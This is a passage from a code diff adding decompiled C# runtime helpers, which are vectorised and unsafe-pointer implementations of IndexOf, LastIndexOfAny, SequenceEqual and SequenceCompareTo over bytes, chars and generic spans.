!= num2 && value1 != num2) + { + continue; + } + goto IL_0314; + } + if (Vector.IsHardwareAccelerated && (void*)intPtr != null) + { + intPtr2 = (IntPtr)((int)(void*)intPtr & ~(Vector.Count - 1)); + Vector vector = GetVector(value0); + Vector vector2 = GetVector(value1); + for (; (nuint)(void*)intPtr2 > (nuint)(Vector.Count - 1); intPtr2 -= Vector.Count) + { + Vector left = Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref searchSpace, intPtr - Vector.Count)); + Vector vector3 = Vector.BitwiseOr(Vector.Equals(left, vector), Vector.Equals(left, vector2)); + if (Vector.Zero.Equals(vector3)) + { + intPtr -= Vector.Count; + continue; + } + return (int)intPtr - Vector.Count + LocateLastFoundByte(vector3); + } + if ((void*)intPtr != null) + { + intPtr2 = intPtr; + continue; + } + } + return -1; + IL_0314: + return (int)(void*)intPtr; + IL_0338: + return (int)(void*)(intPtr + 3); + IL_031c: + return (int)(void*)(intPtr + 1); + IL_032a: + return (int)(void*)(intPtr + 2); + } + return (int)(void*)(intPtr + 7); + } + + public unsafe static int LastIndexOfAny(ref byte searchSpace, byte value0, byte value1, byte value2, int length) + { + IntPtr intPtr = (IntPtr)length; + IntPtr intPtr2 = (IntPtr)length; + if (Vector.IsHardwareAccelerated && length >= Vector.Count * 2) + { + int num = (int)Unsafe.AsPointer(in searchSpace) & (Vector.Count - 1); + intPtr2 = (IntPtr)(((length & (Vector.Count - 1)) + num) & (Vector.Count - 1)); + } + while (true) + { + if ((nuint)(void*)intPtr2 >= (nuint)8u) + { + intPtr2 -= 8; + intPtr -= 8; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 7); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + break; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 6); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 5); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 4); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 3); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 2); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 1); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + continue; + } + goto IL_03ab; + } + goto IL_03b3; + } + goto IL_03c1; + } + goto IL_03cf; + } + return (int)(void*)(intPtr + 4); + } + return (int)(void*)(intPtr + 5); + } + return (int)(void*)(intPtr + 6); + } + if ((nuint)(void*)intPtr2 >= (nuint)4u) + { + intPtr2 -= 4; + intPtr -= 4; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 3); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_03cf; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 2); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_03c1; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr + 1); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_03b3; + } + num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 == num2 || value1 == num2 || value2 == num2) + { + goto IL_03ab; + } + } + while ((void*)intPtr2 != null) + { + intPtr2 -= 1; + intPtr -= 1; + uint num2 = Unsafe.AddByteOffset(ref searchSpace, intPtr); + if (value0 != num2 && value1 != num2 && value2 != num2) + { + continue; + } + goto IL_03ab; + } + if (Vector.IsHardwareAccelerated && (void*)intPtr != null) + { + intPtr2 = (IntPtr)((int)(void*)intPtr & ~(Vector.Count - 1)); + Vector vector = GetVector(value0); + Vector vector2 = GetVector(value1); + Vector vector3 = GetVector(value2); + for (; (nuint)(void*)intPtr2 > (nuint)(Vector.Count - 1); intPtr2 -= Vector.Count) + { + Vector left = Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref searchSpace, intPtr - Vector.Count)); + Vector vector4 = Vector.BitwiseOr(Vector.BitwiseOr(Vector.Equals(left, vector), Vector.Equals(left, vector2)), Vector.Equals(left, vector3)); + if (Vector.Zero.Equals(vector4)) + { + intPtr -= Vector.Count; + continue; + } + return (int)intPtr - Vector.Count + LocateLastFoundByte(vector4); + } + if ((void*)intPtr != null) + { + intPtr2 = intPtr; + continue; + } + } + return -1; + IL_03ab: + return (int)(void*)intPtr; + IL_03cf: + return (int)(void*)(intPtr + 3); + IL_03c1: + return (int)(void*)(intPtr + 2); + IL_03b3: + return (int)(void*)(intPtr + 1); + } + return (int)(void*)(intPtr + 7); + } + + public unsafe static bool SequenceEqual(ref byte first, ref byte second, NUInt length) + { + if (Unsafe.AreSame(in first, in second)) + { + goto IL_013d; + } + IntPtr intPtr = (IntPtr)0; + IntPtr intPtr2 = (IntPtr)(void*)length; + if (Vector.IsHardwareAccelerated && (nuint)(void*)intPtr2 >= (nuint)Vector.Count) + { + intPtr2 -= Vector.Count; + while (true) + { + if ((void*)intPtr2 > (void*)intPtr) + { + if (Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref first, intPtr)) != Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref second, intPtr))) + { + break; + } + intPtr += Vector.Count; + continue; + } + return Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref first, intPtr2)) == Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref second, intPtr2)); + } + } + else + { + if ((nuint)(void*)intPtr2 < (nuint)sizeof(UIntPtr)) + { + while ((void*)intPtr2 > (void*)intPtr) + { + if (Unsafe.AddByteOffset(ref first, intPtr) == Unsafe.AddByteOffset(ref second, intPtr)) + { + intPtr += 1; + continue; + } + goto IL_013f; + } + goto IL_013d; + } + intPtr2 -= sizeof(UIntPtr); + while (true) + { + if ((void*)intPtr2 > (void*)intPtr) + { + if (Unsafe.ReadUnaligned(in Unsafe.AddByteOffset(ref first, intPtr)) != Unsafe.ReadUnaligned(in Unsafe.AddByteOffset(ref second, intPtr))) + { + break; + } + intPtr += sizeof(UIntPtr); + continue; + } + return Unsafe.ReadUnaligned(in Unsafe.AddByteOffset(ref first, intPtr2)) == Unsafe.ReadUnaligned(in Unsafe.AddByteOffset(ref second, intPtr2)); + } + } + goto IL_013f; + IL_013f: + return false; + IL_013d: + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateFirstFoundByte(Vector match) + { + Vector vector = Vector.AsVectorUInt64(match); + ulong num = 0uL; + int i; + for (i = 0; i < Vector.Count; i++) + { + num = vector[i]; + if (num != 0L) + { + break; + } + } + return i * 8 + LocateFirstFoundByte(num); + } + + public unsafe static int SequenceCompareTo(ref byte first, int firstLength, ref byte second, int secondLength) + { + if (!Unsafe.AreSame(in first, in second)) + { + IntPtr intPtr = (IntPtr)((firstLength < secondLength) ? firstLength : secondLength); + IntPtr intPtr2 = (IntPtr)0; + IntPtr intPtr3 = (IntPtr)(void*)intPtr; + if (Vector.IsHardwareAccelerated && (nuint)(void*)intPtr3 > (nuint)Vector.Count) + { + intPtr3 -= Vector.Count; + for (; (void*)intPtr3 > (void*)intPtr2 && !(Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref first, intPtr2)) != Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref second, intPtr2))); intPtr2 += Vector.Count) + { + } + } + else if ((nuint)(void*)intPtr3 > (nuint)sizeof(UIntPtr)) + { + intPtr3 -= sizeof(UIntPtr); + for (; (void*)intPtr3 > (void*)intPtr2 && !(Unsafe.ReadUnaligned(in Unsafe.AddByteOffset(ref first, intPtr2)) != Unsafe.ReadUnaligned(in Unsafe.AddByteOffset(ref second, intPtr2))); intPtr2 += sizeof(UIntPtr)) + { + } + } + for (; (void*)intPtr > (void*)intPtr2; intPtr2 += 1) + { + int num = Unsafe.AddByteOffset(ref first, intPtr2).CompareTo(Unsafe.AddByteOffset(ref second, intPtr2)); + if (num != 0) + { + return num; + } + } + } + return firstLength - secondLength; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateLastFoundByte(Vector match) + { + Vector vector = Vector.AsVectorUInt64(match); + ulong num = 0uL; + int num2; + for (num2 = Vector.Count - 1; num2 >= 0; num2--) + { + num = vector[num2]; + if (num != 0L) + { + break; + } + } + return num2 * 8 + LocateLastFoundByte(num); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateFirstFoundByte(ulong match) + { + ulong num = match ^ (match - 1); + return (int)(num * 283686952306184L >> 57); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateLastFoundByte(ulong match) + { + int num = 7; + while ((long)match > 0L) + { + match <<= 8; + num--; + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static Vector GetVector(byte vectorByte) + { + return Vector.AsVectorByte(new Vector((uint)(vectorByte * 16843009))); + } + + public unsafe static int SequenceCompareTo(ref char first, int firstLength, ref char second, int secondLength) + { + int result = firstLength - secondLength; + if (!Unsafe.AreSame(in first, in second)) + { + IntPtr intPtr = (IntPtr)((firstLength < secondLength) ? firstLength : secondLength); + IntPtr intPtr2 = (IntPtr)0; + if ((nuint)(void*)intPtr >= (nuint)(sizeof(UIntPtr) / 2)) + { + if (Vector.IsHardwareAccelerated && (nuint)(void*)intPtr >= (nuint)Vector.Count) + { + IntPtr intPtr3 = intPtr - Vector.Count; + while (!(Unsafe.ReadUnaligned>(in Unsafe.As(ref Unsafe.Add(ref first, intPtr2))) != Unsafe.ReadUnaligned>(in Unsafe.As(ref Unsafe.Add(ref second, intPtr2))))) + { + intPtr2 += Vector.Count; + if ((void*)intPtr3 < (void*)intPtr2) + { + break; + } + } + } + for (; (void*)intPtr >= (void*)(intPtr2 + sizeof(UIntPtr) / 2) && !(Unsafe.ReadUnaligned(in Unsafe.As(ref Unsafe.Add(ref first, intPtr2))) != Unsafe.ReadUnaligned(in Unsafe.As(ref Unsafe.Add(ref second, intPtr2)))); intPtr2 += sizeof(UIntPtr) / 2) + { + } + } + if (sizeof(UIntPtr) > 4 && (void*)intPtr >= (void*)(intPtr2 + 2) && Unsafe.ReadUnaligned(in Unsafe.As(ref Unsafe.Add(ref first, intPtr2))) == Unsafe.ReadUnaligned(in Unsafe.As(ref Unsafe.Add(ref second, intPtr2)))) + { + intPtr2 += 2; + } + for (; (void*)intPtr2 < (void*)intPtr; intPtr2 += 1) + { + int num = Unsafe.Add(ref first, intPtr2).CompareTo(Unsafe.Add(ref second, intPtr2)); + if (num != 0) + { + return num; + } + } + } + return result; + } + + public unsafe static int IndexOf(ref char searchSpace, char value, int length) + { + fixed (char* ptr = &searchSpace) + { + char* ptr2 = ptr; + char* ptr3 = ptr2 + length; + if (Vector.IsHardwareAccelerated && length >= Vector.Count * 2) + { + int num = ((int)ptr2 & (Unsafe.SizeOf>() - 1)) / 2; + length = (Vector.Count - num) & (Vector.Count - 1); + } + while (true) + { + if (length >= 4) + { + length -= 4; + if (*ptr2 == value) + { + break; + } + if (ptr2[1] != value) + { + if (ptr2[2] != value) + { + if (ptr2[3] != value) + { + ptr2 += 4; + continue; + } + ptr2++; + } + ptr2++; + } + ptr2++; + break; + } + while (length > 0) + { + length--; + if (*ptr2 == value) + { + goto end_IL_0079; + } + ptr2++; + } + if (Vector.IsHardwareAccelerated && ptr2 < ptr3) + { + length = (int)((ptr3 - ptr2) & ~(Vector.Count - 1)); + Vector left = new Vector(value); + while (length > 0) + { + Vector vector = Vector.Equals(left, Unsafe.Read>(ptr2)); + if (Vector.Zero.Equals(vector)) + { + ptr2 += Vector.Count; + length -= Vector.Count; + continue; + } + return (int)(ptr2 - ptr) + LocateFirstFoundChar(vector); + } + if (ptr2 < ptr3) + { + length = (int)(ptr3 - ptr2); + continue; + } + } + return -1; + continue; + end_IL_0079: + break; + } + return (int)(ptr2 - ptr); + } + } + + public unsafe static int LastIndexOf(ref char searchSpace, char value, int length) + { + fixed (char* ptr = &searchSpace) + { + char* ptr2 = ptr + length; + char* ptr3 = ptr; + if (Vector.IsHardwareAccelerated && length >= Vector.Count * 2) + { + length = ((int)ptr2 & (Unsafe.SizeOf>() - 1)) / 2; + } + while (true) + { + if (length >= 4) + { + length -= 4; + ptr2 -= 4; + if (ptr2[3] == value) + { + break; + } + if (ptr2[2] != value) + { + if (ptr2[1] != value) + { + if (*ptr2 != value) + { + continue; + } + goto IL_011d; + } + return (int)(ptr2 - ptr3) + 1; + } + return (int)(ptr2 - ptr3) + 2; + } + while (length > 0) + { + length--; + ptr2--; + if (*ptr2 != value) + { + continue; + } + goto IL_011d; + } + if (Vector.IsHardwareAccelerated && ptr2 > ptr3) + { + length = (int)((ptr2 - ptr3) & ~(Vector.Count - 1)); + Vector left = new Vector(value); + while (length > 0) + { + char* ptr4 = ptr2 - Vector.Count; + Vector vector = Vector.Equals(left, Unsafe.Read>(ptr4)); + if (Vector.Zero.Equals(vector)) + { + ptr2 -= Vector.Count; + length -= Vector.Count; + continue; + } + return (int)(ptr4 - ptr3) + LocateLastFoundChar(vector); + } + if (ptr2 > ptr3) + { + length = (int)(ptr2 - ptr3); + continue; + } + } + return -1; + IL_011d: + return (int)(ptr2 - ptr3); + } + return (int)(ptr2 - ptr3) + 3; + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateFirstFoundChar(Vector match) + { + Vector vector = Vector.AsVectorUInt64(match); + ulong num = 0uL; + int i; + for (i = 0; i < Vector.Count; i++) + { + num = vector[i]; + if (num != 0L) + { + break; + } + } + return i * 4 + LocateFirstFoundChar(num); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateFirstFoundChar(ulong match) + { + ulong num = match ^ (match - 1); + return (int)(num * 4295098372L >> 49); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateLastFoundChar(Vector match) + { + Vector vector = Vector.AsVectorUInt64(match); + ulong num = 0uL; + int num2; + for (num2 = Vector.Count - 1; num2 >= 0; num2--) + { + num = vector[num2]; + if (num != 0L) + { + break; + } + } + return num2 * 4 + LocateLastFoundChar(num); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateLastFoundChar(ulong match) + { + int num = 3; + while ((long)match > 0L) + { + match <<= 16; + num--; + } + return num; + } + + public static int IndexOf(ref T searchSpace, int searchSpaceLength, ref T value, int valueLength) where T : IEquatable + { + if (valueLength == 0) + { + return 0; + } + T value2 = value; + ref T second = ref Unsafe.Add(ref value, 1); + int num = valueLength - 1; + int num2 = 0; + while (true) + { + int num3 = searchSpaceLength - num2 - num; + if (num3 <= 0) + { + break; + } + int num4 = IndexOf(ref Unsafe.Add(ref searchSpace, num2), value2, num3); + if (num4 == -1) + { + break; + } + num2 += num4; + if (SequenceEqual(ref Unsafe.Add(ref searchSpace, num2 + 1), ref second, num)) + { + return num2; + } + num2++; + } + return -1; + } + + public unsafe static int IndexOf(ref T searchSpace, T value, int length) where T : IEquatable + { + IntPtr intPtr = (IntPtr)0; + while (true) + { + if (length >= 8) + { + length -= 8; + T other = Unsafe.Add(ref searchSpace, intPtr); + if (!value.Equals(other)) + { + T other2 = Unsafe.Add(ref searchSpace, intPtr + 1); + if (value.Equals(other2)) + { + goto IL_020a; + } + T other3 = Unsafe.Add(ref searchSpace, intPtr + 2); + if (value.Equals(other3)) + { + goto IL_0218; + } + T other4 = Unsafe.Add(ref searchSpace, intPtr + 3); + if (!value.Equals(other4)) + { + T other5 = Unsafe.Add(ref searchSpace, intPtr + 4); + if (!value.Equals(other5)) + { + T other6 = Unsafe.Add(ref searchSpace, intPtr + 5); + if (!value.Equals(other6)) + { + T other7 = Unsafe.Add(ref searchSpace, intPtr + 6); + if (!value.Equals(other7)) + { + T other8 = Unsafe.Add(ref searchSpace, intPtr + 7); + if (value.Equals(other8)) + { + break; + } + intPtr += 8; + continue; + } + return (int)(void*)(intPtr + 6); + } + return (int)(void*)(intPtr + 5); + } + return (int)(void*)(intPtr + 4); + } + goto IL_0226; + } + } + else + { + if (length >= 4) + { + length -= 4; + T other9 = Unsafe.Add(ref searchSpace, intPtr); + if (value.Equals(other9)) + { + goto IL_0202; + } + T other10 = Unsafe.Add(ref searchSpace, intPtr + 1); + if (value.Equals(other10)) + { + goto IL_020a; + } + T other11 = Unsafe.Add(ref searchSpace, intPtr + 2); + if (value.Equals(other11)) + { + goto IL_0218; + } + T other12 = Unsafe.Add(ref searchSpace, intPtr + 3); + if (value.Equals(other12)) + { + goto IL_0226; + } + intPtr += 4; + } + while (true) + { + if (length > 0) + { + T other13 = Unsafe.Add(ref searchSpace, intPtr); + if (value.Equals(other13)) + { + break; + } + intPtr += 1; + length--; + continue; + } + return -1; + } + } + goto IL_0202; + IL_0218: + return (int)(void*)(intPtr + 2); + IL_0202: + return (int)(void*)intPtr; + IL_020a: + return (int)(void*)(intPtr + 1); + IL_0226: + return (int)(void*)(intPtr + 3); + } + return (int)(void*)(intPtr + 7); + } + + public static int IndexOfAny(ref T searchSpace, T value0, T value1, int length) where T : IEquatable + { + int num = 0; + while (true) + { + if (length - num >= 8) + { + T other = Unsafe.Add(ref searchSpace, num); + if (!value0.Equals(other) && !value1.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 1); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02cb; + } + other = Unsafe.Add(ref searchSpace, num + 2); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02cf; + } + other = Unsafe.Add(ref searchSpace, num + 3); + if (!value0.Equals(other) && !value1.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 4); + if (!value0.Equals(other) && !value1.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 5); + if (!value0.Equals(other) && !value1.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 6); + if (!value0.Equals(other) && !value1.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 7); + if (value0.Equals(other) || value1.Equals(other)) + { + break; + } + num += 8; + continue; + } + return num + 6; + } + return num + 5; + } + return num + 4; + } + goto IL_02d3; + } + } + else + { + if (length - num >= 4) + { + T other = Unsafe.Add(ref searchSpace, num); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02c9; + } + other = Unsafe.Add(ref searchSpace, num + 1); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02cb; + } + other = Unsafe.Add(ref searchSpace, num + 2); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02cf; + } + other = Unsafe.Add(ref searchSpace, num + 3); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02d3; + } + num += 4; + } + while (true) + { + if (num < length) + { + T other = Unsafe.Add(ref searchSpace, num); + if (value0.Equals(other) || value1.Equals(other)) + { + break; + } + num++; + continue; + } + return -1; + } + } + goto IL_02c9; + IL_02cf: + return num + 2; + IL_02cb: + return num + 1; + IL_02d3: + return num + 3; + IL_02c9: + return num; + } + return num + 7; + } + + public static int IndexOfAny(ref T searchSpace, T value0, T value1, T value2, int length) where T : IEquatable + { + int num = 0; + while (true) + { + if (length - num >= 8) + { + T other = Unsafe.Add(ref searchSpace, num); + if (!value0.Equals(other) && !value1.Equals(other) && !value2.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 1); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03c2; + } + other = Unsafe.Add(ref searchSpace, num + 2); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03c6; + } + other = Unsafe.Add(ref searchSpace, num + 3); + if (!value0.Equals(other) && !value1.Equals(other) && !value2.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 4); + if (!value0.Equals(other) && !value1.Equals(other) && !value2.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 5); + if (!value0.Equals(other) && !value1.Equals(other) && !value2.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 6); + if (!value0.Equals(other) && !value1.Equals(other) && !value2.Equals(other)) + { + other = Unsafe.Add(ref searchSpace, num + 7); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + break; + } + num += 8; + continue; + } + return num + 6; + } + return num + 5; + } + return num + 4; + } + goto IL_03ca; + } + } + else + { + if (length - num >= 4) + { + T other = Unsafe.Add(ref searchSpace, num); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03c0; + } + other = Unsafe.Add(ref searchSpace, num + 1); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03c2; + } + other = Unsafe.Add(ref searchSpace, num + 2); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03c6; + } + other = Unsafe.Add(ref searchSpace, num + 3); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03ca; + } + num += 4; + } + while (true) + { + if (num < length) + { + T other = Unsafe.Add(ref searchSpace, num); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + break; + } + num++; + continue; + } + return -1; + } + } + goto IL_03c0; + IL_03c0: + return num; + IL_03c6: + return num + 2; + IL_03c2: + return num + 1; + IL_03ca: + return num + 3; + } + return num + 7; + } + + public static int IndexOfAny(ref T searchSpace, int searchSpaceLength, ref T value, int valueLength) where T : IEquatable + { + if (valueLength == 0) + { + return 0; + } + int num = -1; + for (int i = 0; i < valueLength; i++) + { + int num2 = IndexOf(ref searchSpace, Unsafe.Add(ref value, i), searchSpaceLength); + if ((uint)num2 < (uint)num) + { + num = num2; + searchSpaceLength = num2; + if (num == 0) + { + break; + } + } + } + return num; + } + + public static int LastIndexOf(ref T searchSpace, int searchSpaceLength, ref T value, int valueLength) where T : IEquatable + { + if (valueLength == 0) + { + return 0; + } + T value2 = value; + ref T second = ref Unsafe.Add(ref value, 1); + int num = valueLength - 1; + int num2 = 0; + while (true) + { + int num3 = searchSpaceLength - num2 - num; + if (num3 <= 0) + { + break; + } + int num4 = LastIndexOf(ref searchSpace, value2, num3); + if (num4 == -1) + { + break; + } + if (SequenceEqual(ref Unsafe.Add(ref searchSpace, num4 + 1), ref second, num)) + { + return num4; + } + num2 += num3 - num4; + } + return -1; + } + + public static int LastIndexOf(ref T searchSpace, T value, int length) where T : IEquatable + { + while (true) + { + if (length >= 8) + { + length -= 8; + T other = Unsafe.Add(ref searchSpace, length + 7); + if (value.Equals(other)) + { + break; + } + T other2 = Unsafe.Add(ref searchSpace, length + 6); + if (value.Equals(other2)) + { + return length + 6; + } + T other3 = Unsafe.Add(ref searchSpace, length + 5); + if (value.Equals(other3)) + { + return length + 5; + } + T other4 = Unsafe.Add(ref searchSpace, length + 4); + if (value.Equals(other4)) + { + return length + 4; + } + T other5 = Unsafe.Add(ref searchSpace, length + 3); + if (value.Equals(other5)) + { + goto IL_01c2; + } + T other6 = Unsafe.Add(ref searchSpace, length + 2); + if (value.Equals(other6)) + { + goto IL_01be; + } + T other7 = Unsafe.Add(ref searchSpace, length + 1); + if (value.Equals(other7)) + { + goto IL_01ba; + } + T other8 = Unsafe.Add(ref searchSpace, length); + if (!value.Equals(other8)) + { + continue; + } + } + else + { + if (length >= 4) + { + length -= 4; + T other9 = Unsafe.Add(ref searchSpace, length + 3); + if (value.Equals(other9)) + { + goto IL_01c2; + } + T other10 = Unsafe.Add(ref searchSpace, length + 2); + if (value.Equals(other10)) + { + goto IL_01be; + } + T other11 = Unsafe.Add(ref searchSpace, length + 1); + if (value.Equals(other11)) + { + goto IL_01ba; + } + T other12 = Unsafe.Add(ref searchSpace, length); + if (value.Equals(other12)) + { + goto IL_01b8; + } + } + T other13; + do + { + if (length > 0) + { + length--; + other13 = Unsafe.Add(ref searchSpace, length); + continue; + } + return -1; + } + while (!value.Equals(other13)); + } + goto IL_01b8; + IL_01be: + return length + 2; + IL_01c2: + return length + 3; + IL_01ba: + return length + 1; + IL_01b8: + return length; + } + return length + 7; + } + + public static int LastIndexOfAny(ref T searchSpace, T value0, T value1, int length) where T : IEquatable + { + while (true) + { + if (length >= 8) + { + length -= 8; + T other = Unsafe.Add(ref searchSpace, length + 7); + if (value0.Equals(other) || value1.Equals(other)) + { + break; + } + other = Unsafe.Add(ref searchSpace, length + 6); + if (value0.Equals(other) || value1.Equals(other)) + { + return length + 6; + } + other = Unsafe.Add(ref searchSpace, length + 5); + if (value0.Equals(other) || value1.Equals(other)) + { + return length + 5; + } + other = Unsafe.Add(ref searchSpace, length + 4); + if (value0.Equals(other) || value1.Equals(other)) + { + return length + 4; + } + other = Unsafe.Add(ref searchSpace, length + 3); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02cd; + } + other = Unsafe.Add(ref searchSpace, length + 2); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02c9; + } + other = Unsafe.Add(ref searchSpace, length + 1); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02c5; + } + other = Unsafe.Add(ref searchSpace, length); + if (!value0.Equals(other) && !value1.Equals(other)) + { + continue; + } + } + else + { + T other; + if (length >= 4) + { + length -= 4; + other = Unsafe.Add(ref searchSpace, length + 3); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02cd; + } + other = Unsafe.Add(ref searchSpace, length + 2); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02c9; + } + other = Unsafe.Add(ref searchSpace, length + 1); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02c5; + } + other = Unsafe.Add(ref searchSpace, length); + if (value0.Equals(other) || value1.Equals(other)) + { + goto IL_02c3; + } + } + do + { + if (length > 0) + { + length--; + other = Unsafe.Add(ref searchSpace, length); + continue; + } + return -1; + } + while (!value0.Equals(other) && !value1.Equals(other)); + } + goto IL_02c3; + IL_02c9: + return length + 2; + IL_02c5: + return length + 1; + IL_02c3: + return length; + IL_02cd: + return length + 3; + } + return length + 7; + } + + public static int LastIndexOfAny(ref T searchSpace, T value0, T value1, T value2, int length) where T : IEquatable + { + while (true) + { + if (length >= 8) + { + length -= 8; + T other = Unsafe.Add(ref searchSpace, length + 7); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + break; + } + other = Unsafe.Add(ref searchSpace, length + 6); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + return length + 6; + } + other = Unsafe.Add(ref searchSpace, length + 5); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + return length + 5; + } + other = Unsafe.Add(ref searchSpace, length + 4); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + return length + 4; + } + other = Unsafe.Add(ref searchSpace, length + 3); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03da; + } + other = Unsafe.Add(ref searchSpace, length + 2); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03d5; + } + other = Unsafe.Add(ref searchSpace, length + 1); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03d0; + } + other = Unsafe.Add(ref searchSpace, length); + if (!value0.Equals(other) && !value1.Equals(other) && !value2.Equals(other)) + { + continue; + } + } + else + { + T other; + if (length >= 4) + { + length -= 4; + other = Unsafe.Add(ref searchSpace, length + 3); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03da; + } + other = Unsafe.Add(ref searchSpace, length + 2); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03d5; + } + other = Unsafe.Add(ref searchSpace, length + 1); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03d0; + } + other = Unsafe.Add(ref searchSpace, length); + if (value0.Equals(other) || value1.Equals(other) || value2.Equals(other)) + { + goto IL_03cd; + } + } + do + { + if (length > 0) + { + length--; + other = Unsafe.Add(ref searchSpace, length); + continue; + } + return -1; + } + while (!value0.Equals(other) && !value1.Equals(other) && !value2.Equals(other)); + } + goto IL_03cd; + IL_03d0: + return length + 1; + IL_03d5: + return length + 2; + IL_03da: + return length + 3; + IL_03cd: + return length; + } + return length + 7; + } + + public static int LastIndexOfAny(ref T searchSpace, int searchSpaceLength, ref T value, int valueLength) where T : IEquatable + { + if (valueLength == 0) + { + return 0; + } + int num = -1; + for (int i = 0; i < valueLength; i++) + { + int num2 = LastIndexOf(ref searchSpace, Unsafe.Add(ref value, i), searchSpaceLength); + if (num2 > num) + { + num = num2; + } + } + return num; + } + + public static bool SequenceEqual(ref T first, ref T second, int length) where T : IEquatable + { + if (!Unsafe.AreSame(in first, in second)) + { + IntPtr intPtr = (IntPtr)0; + while (true) + { + if (length >= 8) + { + length -= 8; + ref T reference = ref Unsafe.Add(ref first, intPtr); + T other = Unsafe.Add(ref second, intPtr); + if (reference.Equals(other)) + { + ref T reference2 = ref Unsafe.Add(ref first, intPtr + 1); + T other2 = Unsafe.Add(ref second, intPtr + 1); + if (reference2.Equals(other2)) + { + ref T reference3 = ref Unsafe.Add(ref first, intPtr + 2); + T other3 = Unsafe.Add(ref second, intPtr + 2); + if (reference3.Equals(other3)) + { + ref T reference4 = ref Unsafe.Add(ref first, intPtr + 3); + T other4 = Unsafe.Add(ref second, intPtr + 3); + if (reference4.Equals(other4)) + { + ref T reference5 = ref Unsafe.Add(ref first, intPtr + 4); + T other5 = Unsafe.Add(ref second, intPtr + 4); + if (reference5.Equals(other5)) + { + ref T reference6 = ref Unsafe.Add(ref first, intPtr + 5); + T other6 = Unsafe.Add(ref second, intPtr + 5); + if (reference6.Equals(other6)) + { + ref T reference7 = ref 